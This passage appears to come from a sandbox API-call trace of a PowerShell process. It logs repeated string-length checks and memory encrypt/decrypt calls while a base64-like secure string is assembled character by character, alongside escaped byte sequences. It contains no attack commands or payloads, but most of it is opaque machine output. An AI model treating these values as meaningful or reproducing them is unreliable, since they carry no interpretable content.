(param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\x38\x6d\x64\x7a\x72\x36\x2e\x77") returned 0x30 [0134.687] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.687] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13EMI5l뎣퀚৥籾雤ಆ") returned 0x30 [0134.687] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\x5bb\x60b0\x401a\x3173\x9222\x685\xbcd7\xa7b9") returned 0x30 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\x5bb\x60b0\x401a\x3173\x9222\x685\xbcd7\xa7b9") returned 0x30 [0134.687] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.687] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13EMI5lJ퀚৥籾雤ಆ") returned 0x30 [0134.687] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\xda3f\xd52f\x542d\x7037\x9527\xedca\x4c9e\x5163") returned 0x30 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\xda3f\xd52f\x542d\x7037\x9527\xedca\x4c9e\x5163") returned 0x30 [0134.687] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.687] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13EMI5lJg퀚৥籾雤ಆ") returned 0x30 [0134.687] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\xecc1\xb288\xef09\xee21\xb14d\x6495\x3ee0\xb44f") returned 0x30 [0134.687] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\xecc1\xb288\xef09\xee21\xb14d\x6495\x3ee0\xb44f") returned 0x30 [0134.687] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.688] SysStringLen (param_1="i+sYS3sTcU7z7JJlh/xcFY6wqp9JvxbYaE13EMI5lJg=৥籾雤ಆ") returned 0x30 [0134.688] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0134.688] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.688] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.688] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.688] SysStringLen (param_1="") returned 0x8 [0134.688] SysStringLen (param_1="Y") returned 0x8 [0134.688] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.688] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.688] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.688] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.688] SysStringLen (param_1="YW") returned 0x8 [0134.688] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.689] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.689] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="YWM") returned 0x8 [0134.689] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.689] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.689] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="YWM1") returned 0x8 [0134.689] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.689] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.689] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="YWM1O") returned 0x8 [0134.689] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.689] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.689] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.689] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.689] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.689] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.689] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.690] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.690] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.690] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.690] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.690] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.690] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.690] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.690] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.690] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.690] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.690] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.690] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.690] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.690] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.690] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.690] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.690] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.691] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.691] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.691] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.691] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.691] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.691] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.691] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.691] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.691] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.692] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.692] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.692] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.692] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.692] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.692] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.692] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.692] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.693] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.697] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.697] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.697] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.697] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.697] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.697] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.697] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.697] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.698] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.698] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.698] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.698] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.698] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.698] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.698] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.699] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.699] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.699] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.699] SystemFunction040 (in: 